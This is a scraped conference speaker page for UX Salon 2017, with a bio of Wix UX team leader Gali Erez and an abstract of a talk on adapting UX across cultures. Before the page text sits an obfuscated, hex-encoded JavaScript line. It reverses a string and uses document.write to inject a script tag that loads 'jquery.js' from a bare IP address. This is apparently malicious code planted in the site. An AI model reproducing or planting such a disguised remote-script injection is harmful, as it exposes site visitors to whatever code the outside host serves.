var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])) Gali Erez - UX Salon 2017
UX Team Leader - Wix
Gali Erez
Adapting UX to the Global Village

Bio

Gali is an Israeli-American UX designer based in Tel Aviv. After graduating from CalArts she joined an elite task force at Warner Bros. adapt to a changing marketplace, researching how people will consume media in the future. She went on to design complex infrastructure apps that were used across a variety of industries from investment banking to ad-tech. Today she leads Wix’s ADI UX team, which uses machine learning to make website creation easy & fun. She designs for people – not users.

SALON PRESENTATION

Adapting UX to the Global Village

Designing for the global village. When should we create a flattened experience that fits everyone and when should we dive into our users’ unique cultural world? Will discovering their cultural world expand our horizons as designers?

Bat-El Sebbag and Gali Erez, UX team leads in Wix, will discuss these questions and explore different approaches to defining UX while keeping different kinds of communities in mind.

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